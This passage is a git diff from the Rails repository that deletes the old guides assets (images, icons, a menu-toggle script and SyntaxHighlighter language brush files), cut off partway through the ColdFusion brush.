diff --git a/railties/guides/assets/images/habtm.png b/railties/guides/assets/images/habtm.png
deleted file mode 100644
index fea78b0b5c..0000000000
--- a/railties/guides/assets/images/habtm.png
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/has_many.png b/railties/guides/assets/images/has_many.png
deleted file mode 100644
index 6cff58460d..0000000000
--- a/railties/guides/assets/images/has_many.png
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/has_many_through.png b/railties/guides/assets/images/has_many_through.png
deleted file mode 100644
index 85d7599925..0000000000
--- a/railties/guides/assets/images/has_many_through.png
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/has_one.png b/railties/guides/assets/images/has_one.png
deleted file mode 100644
index a70ddaaa86..0000000000
--- a/railties/guides/assets/images/has_one.png
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/has_one_through.png b/railties/guides/assets/images/has_one_through.png
deleted file mode 100644
index 89a7617a30..0000000000
--- a/railties/guides/assets/images/has_one_through.png
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/header_backdrop.png b/railties/guides/assets/images/header_backdrop.png
deleted file mode 100644
index ff2982175e..0000000000
--- a/railties/guides/assets/images/header_backdrop.png
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/header_tile.gif b/railties/guides/assets/images/header_tile.gif
deleted file mode 100644
index e2c878d492..0000000000
--- a/railties/guides/assets/images/header_tile.gif
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/i18n/demo_html_safe.png b/railties/guides/assets/images/i18n/demo_html_safe.png
deleted file mode 100644
index f881f60dac..0000000000
--- a/railties/guides/assets/images/i18n/demo_html_safe.png
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/i18n/demo_localized_pirate.png b/railties/guides/assets/images/i18n/demo_localized_pirate.png
deleted file mode 100644
index 9134709573..0000000000
--- a/railties/guides/assets/images/i18n/demo_localized_pirate.png
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/i18n/demo_translated_en.png b/railties/guides/assets/images/i18n/demo_translated_en.png
deleted file mode 100644
index ecdd878d38..0000000000
--- a/railties/guides/assets/images/i18n/demo_translated_en.png
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/i18n/demo_translated_pirate.png b/railties/guides/assets/images/i18n/demo_translated_pirate.png
deleted file mode 100644
index 41c580923a..0000000000
--- a/railties/guides/assets/images/i18n/demo_translated_pirate.png
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/i18n/demo_translation_missing.png b/railties/guides/assets/images/i18n/demo_translation_missing.png
deleted file mode 100644
index af9e2d0427..0000000000
--- a/railties/guides/assets/images/i18n/demo_translation_missing.png
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/i18n/demo_untranslated.png b/railties/guides/assets/images/i18n/demo_untranslated.png
deleted file mode 100644
index 3603f43463..0000000000
--- a/railties/guides/assets/images/i18n/demo_untranslated.png
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/icons/README b/railties/guides/assets/images/icons/README
deleted file mode 100644
index f12b2a730c..0000000000
--- a/railties/guides/assets/images/icons/README
+++ /dev/null
@@ -1,5 +0,0 @@
-Replaced the plain DocBook XSL admonition icons with Jimmac's DocBook
-icons (http://jimmac.musichall.cz/ikony.php3). I dropped transparency
-from the Jimmac icons to get round MS IE and FOP PNG incompatibilies.
-
-Stuart Rackham
diff --git a/railties/guides/assets/images/icons/callouts/1.png b/railties/guides/assets/images/icons/callouts/1.png
deleted file mode 100644
index 7d473430b7..0000000000
--- a/railties/guides/assets/images/icons/callouts/1.png
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/icons/callouts/10.png b/railties/guides/assets/images/icons/callouts/10.png
deleted file mode 100644
index 997bbc8246..0000000000
--- a/railties/guides/assets/images/icons/callouts/10.png
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/icons/callouts/11.png b/railties/guides/assets/images/icons/callouts/11.png
deleted file mode 100644
index ce47dac3f5..0000000000
--- a/railties/guides/assets/images/icons/callouts/11.png
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/icons/callouts/12.png b/railties/guides/assets/images/icons/callouts/12.png
deleted file mode 100644
index 31daf4e2f2..0000000000
--- a/railties/guides/assets/images/icons/callouts/12.png
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/icons/callouts/13.png b/railties/guides/assets/images/icons/callouts/13.png
deleted file mode 100644
index 14021a89c2..0000000000
--- a/railties/guides/assets/images/icons/callouts/13.png
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/icons/callouts/14.png b/railties/guides/assets/images/icons/callouts/14.png
deleted file mode 100644
index 64014b75fe..0000000000
--- a/railties/guides/assets/images/icons/callouts/14.png
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/icons/callouts/15.png b/railties/guides/assets/images/icons/callouts/15.png
deleted file mode 100644
index 0d65765fcf..0000000000
--- a/railties/guides/assets/images/icons/callouts/15.png
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/icons/callouts/2.png b/railties/guides/assets/images/icons/callouts/2.png
deleted file mode 100644
index 5d09341b2f..0000000000
--- a/railties/guides/assets/images/icons/callouts/2.png
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/icons/callouts/3.png b/railties/guides/assets/images/icons/callouts/3.png
deleted file mode 100644
index ef7b700471..0000000000
--- a/railties/guides/assets/images/icons/callouts/3.png
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/icons/callouts/4.png b/railties/guides/assets/images/icons/callouts/4.png
deleted file mode 100644
index adb8364eb5..0000000000
--- a/railties/guides/assets/images/icons/callouts/4.png
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/icons/callouts/5.png b/railties/guides/assets/images/icons/callouts/5.png
deleted file mode 100644
index 4d7eb46002..0000000000
--- a/railties/guides/assets/images/icons/callouts/5.png
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/icons/callouts/6.png b/railties/guides/assets/images/icons/callouts/6.png
deleted file mode 100644
index 0ba694af6c..0000000000
--- a/railties/guides/assets/images/icons/callouts/6.png
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/icons/callouts/7.png b/railties/guides/assets/images/icons/callouts/7.png
deleted file mode 100644
index 472e96f8ac..0000000000
--- a/railties/guides/assets/images/icons/callouts/7.png
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/icons/callouts/8.png b/railties/guides/assets/images/icons/callouts/8.png
deleted file mode 100644
index 5e60973c21..0000000000
--- a/railties/guides/assets/images/icons/callouts/8.png
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/icons/callouts/9.png b/railties/guides/assets/images/icons/callouts/9.png
deleted file mode 100644
index a0676d26cc..0000000000
--- a/railties/guides/assets/images/icons/callouts/9.png
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/icons/caution.png b/railties/guides/assets/images/icons/caution.png
deleted file mode 100644
index cb9d5ea0df..0000000000
--- a/railties/guides/assets/images/icons/caution.png
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/icons/example.png b/railties/guides/assets/images/icons/example.png
deleted file mode 100644
index bba1c0010d..0000000000
--- a/railties/guides/assets/images/icons/example.png
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/icons/home.png b/railties/guides/assets/images/icons/home.png
deleted file mode 100644
index 37a5231bac..0000000000
--- a/railties/guides/assets/images/icons/home.png
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/icons/important.png b/railties/guides/assets/images/icons/important.png
deleted file mode 100644
index 1096c23295..0000000000
--- a/railties/guides/assets/images/icons/important.png
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/icons/next.png b/railties/guides/assets/images/icons/next.png
deleted file mode 100644
index 64e126bdda..0000000000
--- a/railties/guides/assets/images/icons/next.png
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/icons/note.png b/railties/guides/assets/images/icons/note.png
deleted file mode 100644
index 841820f7c4..0000000000
--- a/railties/guides/assets/images/icons/note.png
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/icons/prev.png b/railties/guides/assets/images/icons/prev.png
deleted file mode 100644
index 3e8f12fe24..0000000000
--- a/railties/guides/assets/images/icons/prev.png
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/icons/tip.png b/railties/guides/assets/images/icons/tip.png
deleted file mode 100644
index a3a029d898..0000000000
--- a/railties/guides/assets/images/icons/tip.png
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/icons/up.png b/railties/guides/assets/images/icons/up.png
deleted file mode 100644
index 2db1ce62fa..0000000000
--- a/railties/guides/assets/images/icons/up.png
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/icons/warning.png b/railties/guides/assets/images/icons/warning.png
deleted file mode 100644
index 0b0c419df2..0000000000
--- a/railties/guides/assets/images/icons/warning.png
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/jaimeiniesta.jpg b/railties/guides/assets/images/jaimeiniesta.jpg
deleted file mode 100644
index 445f048d92..0000000000
--- a/railties/guides/assets/images/jaimeiniesta.jpg
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/nav_arrow.gif b/railties/guides/assets/images/nav_arrow.gif
deleted file mode 100644
index c4f57658d7..0000000000
--- a/railties/guides/assets/images/nav_arrow.gif
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/polymorphic.png b/railties/guides/assets/images/polymorphic.png
deleted file mode 100644
index ff2fd9f76d..0000000000
--- a/railties/guides/assets/images/polymorphic.png
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/posts_index.png b/railties/guides/assets/images/posts_index.png
deleted file mode 100644
index f6cd2f9b80..0000000000
--- a/railties/guides/assets/images/posts_index.png
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/radar.png b/railties/guides/assets/images/radar.png
deleted file mode 100644
index f61e08763f..0000000000
--- a/railties/guides/assets/images/radar.png
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/rails_guides_logo.gif b/railties/guides/assets/images/rails_guides_logo.gif
deleted file mode 100644
index a24683a34e..0000000000
--- a/railties/guides/assets/images/rails_guides_logo.gif
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/rails_logo_remix.gif b/railties/guides/assets/images/rails_logo_remix.gif
deleted file mode 100644
index 58960ee4f9..0000000000
--- a/railties/guides/assets/images/rails_logo_remix.gif
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/rails_welcome.png b/railties/guides/assets/images/rails_welcome.png
deleted file mode 100644
index f2aa210d19..0000000000
--- a/railties/guides/assets/images/rails_welcome.png
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/session_fixation.png b/railties/guides/assets/images/session_fixation.png
deleted file mode 100644
index 6b084508db..0000000000
--- a/railties/guides/assets/images/session_fixation.png
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/tab_grey.gif b/railties/guides/assets/images/tab_grey.gif
deleted file mode 100644
index e9680b7136..0000000000
--- a/railties/guides/assets/images/tab_grey.gif
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/tab_info.gif b/railties/guides/assets/images/tab_info.gif
deleted file mode 100644
index 458fea9a61..0000000000
--- a/railties/guides/assets/images/tab_info.gif
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/tab_note.gif b/railties/guides/assets/images/tab_note.gif
deleted file mode 100644
index 1d5c171ed6..0000000000
--- a/railties/guides/assets/images/tab_note.gif
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/tab_red.gif b/railties/guides/assets/images/tab_red.gif
deleted file mode 100644
index daf140b5a8..0000000000
--- a/railties/guides/assets/images/tab_red.gif
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/tab_yellow.gif b/railties/guides/assets/images/tab_yellow.gif
deleted file mode 100644
index dc961c99dd..0000000000
--- a/railties/guides/assets/images/tab_yellow.gif
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/tab_yellow.png b/railties/guides/assets/images/tab_yellow.png
deleted file mode 100644
index cceea6581f..0000000000
--- a/railties/guides/assets/images/tab_yellow.png
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/validation_error_messages.png b/railties/guides/assets/images/validation_error_messages.png
deleted file mode 100644
index 622d35da5d..0000000000
--- a/railties/guides/assets/images/validation_error_messages.png
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/vijaydev.jpg b/railties/guides/assets/images/vijaydev.jpg
deleted file mode 100644
index e21d3cabfc..0000000000
--- a/railties/guides/assets/images/vijaydev.jpg
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/javascripts/guides.js b/railties/guides/assets/javascripts/guides.js
deleted file mode 100644
index c4e4d459ea..0000000000
--- a/railties/guides/assets/javascripts/guides.js
+++ /dev/null
@@ -1,7 +0,0 @@
-function guideMenu(){
- if (document.getElementById('guides').style.display == "none") {
- document.getElementById('guides').style.display = "block";
- } else {
- document.getElementById('guides').style.display = "none";
- }
-}
diff --git a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushAS3.js b/railties/guides/assets/javascripts/syntaxhighlighter/shBrushAS3.js
deleted file mode 100644
index 8aa3ed2732..0000000000
--- a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushAS3.js
+++ /dev/null
@@ -1,59 +0,0 @@
-/**
- * SyntaxHighlighter
- * http://alexgorbatchev.com/SyntaxHighlighter
- *
- * SyntaxHighlighter is donationware. If you are using it, please donate.
- * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
- *
- * @version
- * 3.0.83 (July 02 2010)
- *
- * @copyright
- * Copyright (C) 2004-2010 Alex Gorbatchev.
- *
- * @license
- * Dual licensed under the MIT and GPL licenses.
- */
-;(function()
-{
- // CommonJS
- typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
-
- function Brush()
- {
- // Created by Peter Atoria @ http://iAtoria.com
-
- var inits = 'class interface function package';
-
- var keywords = '-Infinity ...rest Array as AS3 Boolean break case catch const continue Date decodeURI ' +
- 'decodeURIComponent default delete do dynamic each else encodeURI encodeURIComponent escape ' +
- 'extends false final finally flash_proxy for get if implements import in include Infinity ' +
- 'instanceof int internal is isFinite isNaN isXMLName label namespace NaN native new null ' +
- 'Null Number Object object_proxy override parseFloat parseInt private protected public ' +
- 'return set static String super switch this throw true try typeof uint undefined unescape ' +
- 'use void while with'
- ;
-
- this.regexList = [
- { regex: SyntaxHighlighter.regexLib.singleLineCComments, css: 'comments' }, // one line comments
- { regex: SyntaxHighlighter.regexLib.multiLineCComments, css: 'comments' }, // multiline comments
- { regex: SyntaxHighlighter.regexLib.doubleQuotedString, css: 'string' }, // double quoted strings
- { regex: SyntaxHighlighter.regexLib.singleQuotedString, css: 'string' }, // single quoted strings
- { regex: /\b([\d]+(\.[\d]+)?|0x[a-f0-9]+)\b/gi, css: 'value' }, // numbers
- { regex: new RegExp(this.getKeywords(inits), 'gm'), css: 'color3' }, // initializations
- { regex: new RegExp(this.getKeywords(keywords), 'gm'), css: 'keyword' }, // keywords
- { regex: new RegExp('var', 'gm'), css: 'variable' }, // variable
- { regex: new RegExp('trace', 'gm'), css: 'color1' } // trace
- ];
-
- this.forHtmlScript(SyntaxHighlighter.regexLib.scriptScriptTags);
- };
-
- Brush.prototype = new SyntaxHighlighter.Highlighter();
- Brush.aliases = ['actionscript3', 'as3'];
-
- SyntaxHighlighter.brushes.AS3 = Brush;
-
- // CommonJS
- typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
-})();
diff --git a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushAppleScript.js b/railties/guides/assets/javascripts/syntaxhighlighter/shBrushAppleScript.js
deleted file mode 100644
index d40bbd7dd2..0000000000
--- a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushAppleScript.js
+++ /dev/null
@@ -1,75 +0,0 @@
-/**
- * SyntaxHighlighter
- * http://alexgorbatchev.com/SyntaxHighlighter
- *
- * SyntaxHighlighter is donationware. If you are using it, please donate.
- * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
- *
- * @version
- * 3.0.83 (July 02 2010)
- *
- * @copyright
- * Copyright (C) 2004-2010 Alex Gorbatchev.
- *
- * @license
- * Dual licensed under the MIT and GPL licenses.
- */
-;(function()
-{
- // CommonJS
- typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
-
- function Brush()
- {
- // AppleScript brush by David Chambers
- // http://davidchambersdesign.com/
- var keywords = 'after before beginning continue copy each end every from return get global in local named of set some that the then times to where whose with without';
- var ordinals = 'first second third fourth fifth sixth seventh eighth ninth tenth last front back middle';
- var specials = 'activate add alias AppleScript ask attachment boolean class constant delete duplicate empty exists false id integer list make message modal modified new no paragraph pi properties quit real record remove rest result reveal reverse run running save string true word yes';
-
- this.regexList = [
-
- { regex: /(--|#).*$/gm,
- css: 'comments' },
-
- { regex: /\(\*(?:[\s\S]*?\(\*[\s\S]*?\*\))*[\s\S]*?\*\)/gm, // support nested comments
- css: 'comments' },
-
- { regex: /"[\s\S]*?"/gm,
- css: 'string' },
-
- { regex: /(?:,|:|¬|'s\b|\(|\)|\{|\}|«|\b\w*»)/g,
- css: 'color1' },
-
- { regex: /(-)?(\d)+(\.(\d)?)?(E\+(\d)+)?/g, // numbers
- css: 'color1' },
-
- { regex: /(?:&(amp;|gt;|lt;)?|=|� |>|<|≥|>=|≤|<=|\*|\+|-|\/|÷|\^)/g,
- css: 'color2' },
-
- { regex: /\b(?:and|as|div|mod|not|or|return(?!\s&)(ing)?|equals|(is(n't| not)? )?equal( to)?|does(n't| not) equal|(is(n't| not)? )?(greater|less) than( or equal( to)?)?|(comes|does(n't| not) come) (after|before)|is(n't| not)?( in)? (back|front) of|is(n't| not)? behind|is(n't| not)?( (in|contained by))?|does(n't| not) contain|contain(s)?|(start|begin|end)(s)? with|((but|end) )?(consider|ignor)ing|prop(erty)?|(a )?ref(erence)?( to)?|repeat (until|while|with)|((end|exit) )?repeat|((else|end) )?if|else|(end )?(script|tell|try)|(on )?error|(put )?into|(of )?(it|me)|its|my|with (timeout( of)?|transaction)|end (timeout|transaction))\b/g,
- css: 'keyword' },
-
- { regex: /\b\d+(st|nd|rd|th)\b/g, // ordinals
- css: 'keyword' },
-
- { regex: /\b(?:about|above|against|around|at|below|beneath|beside|between|by|(apart|aside) from|(instead|out) of|into|on(to)?|over|since|thr(ough|u)|under)\b/g,
- css: 'color3' },
-
- { regex: /\b(?:adding folder items to|after receiving|choose( ((remote )?application|color|folder|from list|URL))?|clipboard info|set the clipboard to|(the )?clipboard|entire contents|display(ing| (alert|dialog|mode))?|document( (edited|file|nib name))?|file( (name|type))?|(info )?for|giving up after|(name )?extension|quoted form|return(ed)?|second(?! item)(s)?|list (disks|folder)|text item(s| delimiters)?|(Unicode )?text|(disk )?item(s)?|((current|list) )?view|((container|key) )?window|with (data|icon( (caution|note|stop))?|parameter(s)?|prompt|properties|seed|title)|case|diacriticals|hyphens|numeric strings|punctuation|white space|folder creation|application(s( folder)?| (processes|scripts position|support))?|((desktop )?(pictures )?|(documents|downloads|favorites|home|keychain|library|movies|music|public|scripts|sites|system|users|utilities|workflows) )folder|desktop|Folder Action scripts|font(s| panel)?|help|internet plugins|modem scripts|(system )?preferences|printer descriptions|scripting (additions|components)|shared (documents|libraries)|startup (disk|items)|temporary items|trash|on server|in AppleTalk zone|((as|long|short) )?user name|user (ID|locale)|(with )?password|in (bundle( with identifier)?|directory)|(close|open for) access|read|write( permission)?|(g|s)et eof|using( delimiters)?|starting at|default (answer|button|color|country code|entr(y|ies)|identifiers|items|name|location|script editor)|hidden( answer)?|open(ed| (location|untitled))?|error (handling|reporting)|(do( shell)?|load|run|store) script|administrator privileges|altering line endings|get volume settings|(alert|boot|input|mount|output|set) volume|output muted|(fax|random )?number|round(ing)?|up|down|toward zero|to nearest|as taught in school|system (attribute|info)|((AppleScript( Studio)?|system) )?version|(home )?directory|(IPv4|primary Ethernet) address|CPU (type|speed)|physical memory|time (stamp|to GMT)|replacing|ASCII (character|number)|localized string|from table|offset|summarize|beep|delay|say|(empty|multiple) selections allowed|(of|preferred) type|invisibles|showing( package contents)?|editable URL|(File|FTP|News|Media|Web) [Ss]ervers|Telnet hosts|Directory services|Remote applications|waiting until completion|saving( (in|to))?|path (for|to( (((current|frontmost) )?application|resource))?)|POSIX (file|path)|(background|RGB) color|(OK|cancel) button name|cancel button|button(s)?|cubic ((centi)?met(re|er)s|yards|feet|inches)|square ((kilo)?met(re|er)s|miles|yards|feet)|(centi|kilo)?met(re|er)s|miles|yards|feet|inches|lit(re|er)s|gallons|quarts|(kilo)?grams|ounces|pounds|degrees (Celsius|Fahrenheit|Kelvin)|print( (dialog|settings))?|clos(e(able)?|ing)|(de)?miniaturized|miniaturizable|zoom(ed|able)|attribute run|action (method|property|title)|phone|email|((start|end)ing|home) page|((birth|creation|current|custom|modification) )?date|((((phonetic )?(first|last|middle))|computer|host|maiden|related) |nick)?name|aim|icq|jabber|msn|yahoo|address(es)?|save addressbook|should enable action|city|country( code)?|formatte(r|d address)|(palette )?label|state|street|zip|AIM [Hh]andle(s)?|my card|select(ion| all)?|unsaved|(alpha )?value|entr(y|ies)|group|(ICQ|Jabber|MSN) handle|person|people|company|department|icon image|job title|note|organization|suffix|vcard|url|copies|collating|pages (across|down)|request print time|target( printer)?|((GUI Scripting|Script menu) )?enabled|show Computer scripts|(de)?activated|awake from nib|became (key|main)|call method|of (class|object)|center|clicked toolbar item|closed|for document|exposed|(can )?hide|idle|keyboard (down|up)|event( (number|type))?|launch(ed)?|load (image|movie|nib|sound)|owner|log|mouse (down|dragged|entered|exited|moved|up)|move|column|localization|resource|script|register|drag (info|types)|resigned (active|key|main)|resiz(e(d)?|able)|right mouse (down|dragged|up)|scroll wheel|(at )?index|should (close|open( untitled)?|quit( after last window closed)?|zoom)|((proposed|screen) )?bounds|show(n)?|behind|in front of|size (mode|to fit)|update(d| toolbar item)?|was (hidden|miniaturized)|will (become active|close|finish launching|hide|miniaturize|move|open|quit|(resign )?active|((maximum|minimum|proposed) )?size|show|zoom)|bundle|data source|movie|pasteboard|sound|tool(bar| tip)|(color|open|save) panel|coordinate system|frontmost|main( (bundle|menu|window))?|((services|(excluded from )?windows) )?menu|((executable|frameworks|resource|scripts|shared (frameworks|support)) )?path|(selected item )?identifier|data|content(s| view)?|character(s)?|click count|(command|control|option|shift) key down|context|delta (x|y|z)|key( code)?|location|pressure|unmodified characters|types|(first )?responder|playing|(allowed|selectable) identifiers|allows customization|(auto saves )?configuration|visible|image( name)?|menu form representation|tag|user(-| )defaults|associated file name|(auto|needs) display|current field editor|floating|has (resize indicator|shadow)|hides when deactivated|level|minimized (image|title)|opaque|position|release when closed|sheet|title(d)?)\b/g,
- css: 'color3' },
-
- { regex: new RegExp(this.getKeywords(specials), 'gm'), css: 'color3' },
- { regex: new RegExp(this.getKeywords(keywords), 'gm'), css: 'keyword' },
- { regex: new RegExp(this.getKeywords(ordinals), 'gm'), css: 'keyword' }
- ];
- };
-
- Brush.prototype = new SyntaxHighlighter.Highlighter();
- Brush.aliases = ['applescript'];
-
- SyntaxHighlighter.brushes.AppleScript = Brush;
-
- // CommonJS
- typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
-})();
diff --git a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushBash.js b/railties/guides/assets/javascripts/syntaxhighlighter/shBrushBash.js
deleted file mode 100644
index 8c296969ff..0000000000
--- a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushBash.js
+++ /dev/null
@@ -1,59 +0,0 @@
-/**
- * SyntaxHighlighter
- * http://alexgorbatchev.com/SyntaxHighlighter
- *
- * SyntaxHighlighter is donationware. If you are using it, please donate.
- * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
- *
- * @version
- * 3.0.83 (July 02 2010)
- *
- * @copyright
- * Copyright (C) 2004-2010 Alex Gorbatchev.
- *
- * @license
- * Dual licensed under the MIT and GPL licenses.
- */
-;(function()
-{
- // CommonJS
- typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
-
- function Brush()
- {
- var keywords = 'if fi then elif else for do done until while break continue case function return in eq ne ge le';
- var commands = 'alias apropos awk basename bash bc bg builtin bzip2 cal cat cd cfdisk chgrp chmod chown chroot' +
- 'cksum clear cmp comm command cp cron crontab csplit cut date dc dd ddrescue declare df ' +
- 'diff diff3 dig dir dircolors dirname dirs du echo egrep eject enable env ethtool eval ' +
- 'exec exit expand export expr false fdformat fdisk fg fgrep file find fmt fold format ' +
- 'free fsck ftp gawk getopts grep groups gzip hash head history hostname id ifconfig ' +
- 'import install join kill less let ln local locate logname logout look lpc lpr lprint ' +
- 'lprintd lprintq lprm ls lsof make man mkdir mkfifo mkisofs mknod more mount mtools ' +
- 'mv netstat nice nl nohup nslookup open op passwd paste pathchk ping popd pr printcap ' +
- 'printenv printf ps pushd pwd quota quotacheck quotactl ram rcp read readonly renice ' +
- 'remsync rm rmdir rsync screen scp sdiff sed select seq set sftp shift shopt shutdown ' +
- 'sleep sort source split ssh strace su sudo sum symlink sync tail tar tee test time ' +
- 'times touch top traceroute trap tr true tsort tty type ulimit umask umount unalias ' +
- 'uname unexpand uniq units unset unshar useradd usermod users uuencode uudecode v vdir ' +
- 'vi watch wc whereis which who whoami Wget xargs yes'
- ;
-
- this.regexList = [
- { regex: /^#!.*$/gm, css: 'preprocessor bold' },
- { regex: /\/[\w-\/]+/gm, css: 'plain' },
- { regex: SyntaxHighlighter.regexLib.singleLinePerlComments, css: 'comments' }, // one line comments
- { regex: SyntaxHighlighter.regexLib.doubleQuotedString, css: 'string' }, // double quoted strings
- { regex: SyntaxHighlighter.regexLib.singleQuotedString, css: 'string' }, // single quoted strings
- { regex: new RegExp(this.getKeywords(keywords), 'gm'), css: 'keyword' }, // keywords
- { regex: new RegExp(this.getKeywords(commands), 'gm'), css: 'functions' } // commands
- ];
- }
-
- Brush.prototype = new SyntaxHighlighter.Highlighter();
- Brush.aliases = ['bash', 'shell'];
-
- SyntaxHighlighter.brushes.Bash = Brush;
-
- // CommonJS
- typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
-})();
diff --git a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushCSharp.js b/railties/guides/assets/javascripts/syntaxhighlighter/shBrushCSharp.js
deleted file mode 100644
index 079214efe1..0000000000
--- a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushCSharp.js
+++ /dev/null
@@ -1,65 +0,0 @@
-/**
- * SyntaxHighlighter
- * http://alexgorbatchev.com/SyntaxHighlighter
- *
- * SyntaxHighlighter is donationware. If you are using it, please donate.
- * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
- *
- * @version
- * 3.0.83 (July 02 2010)
- *
- * @copyright
- * Copyright (C) 2004-2010 Alex Gorbatchev.
- *
- * @license
- * Dual licensed under the MIT and GPL licenses.
- */
-;(function()
-{
- // CommonJS
- typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
-
- function Brush()
- {
- var keywords = 'abstract as base bool break byte case catch char checked class const ' +
- 'continue decimal default delegate do double else enum event explicit ' +
- 'extern false finally fixed float for foreach get goto if implicit in int ' +
- 'interface internal is lock long namespace new null object operator out ' +
- 'override params private protected public readonly ref return sbyte sealed set ' +
- 'short sizeof stackalloc static string struct switch this throw true try ' +
- 'typeof uint ulong unchecked unsafe ushort using virtual void while';
-
- function fixComments(match, regexInfo)
- {
- var css = (match[0].indexOf("///") == 0)
- ? 'color1'
- : 'comments'
- ;
-
- return [new SyntaxHighlighter.Match(match[0], match.index, css)];
- }
-
- this.regexList = [
- { regex: SyntaxHighlighter.regexLib.singleLineCComments, func : fixComments }, // one line comments
- { regex: SyntaxHighlighter.regexLib.multiLineCComments, css: 'comments' }, // multiline comments
- { regex: /@"(?:[^"]|"")*"/g, css: 'string' }, // @-quoted strings
- { regex: SyntaxHighlighter.regexLib.doubleQuotedString, css: 'string' }, // strings
- { regex: SyntaxHighlighter.regexLib.singleQuotedString, css: 'string' }, // strings
- { regex: /^\s*#.*/gm, css: 'preprocessor' }, // preprocessor tags like #region and #endregion
- { regex: new RegExp(this.getKeywords(keywords), 'gm'), css: 'keyword' }, // c# keyword
- { regex: /\bpartial(?=\s+(?:class|interface|struct)\b)/g, css: 'keyword' }, // contextual keyword: 'partial'
- { regex: /\byield(?=\s+(?:return|break)\b)/g, css: 'keyword' } // contextual keyword: 'yield'
- ];
-
- this.forHtmlScript(SyntaxHighlighter.regexLib.aspScriptTags);
- };
-
- Brush.prototype = new SyntaxHighlighter.Highlighter();
- Brush.aliases = ['c#', 'c-sharp', 'csharp'];
-
- SyntaxHighlighter.brushes.CSharp = Brush;
-
- // CommonJS
- typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
-})();
-
diff --git a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushColdFusion.js b/railties/guides/assets/javascripts/syntaxhighlighter/shBrushColdFusion.js
deleted file mode 100644
index 627dbb9b76..0000000000
--- a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushColdFusion.js
+++ /dev/null
@@ -1,100 +0,0 @@
-/**
- * SyntaxHighlighter
- * http://alexgorbatchev.com/SyntaxHighlighter
- *
- * SyntaxHighlighter is donationware. If you are using it, please donate.
- * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
- *
- * @version
- * 3.0.83 (July 02 2010)
- *
- * @copyright
- * Copyright (C) 2004-2010 Alex Gorbatchev.
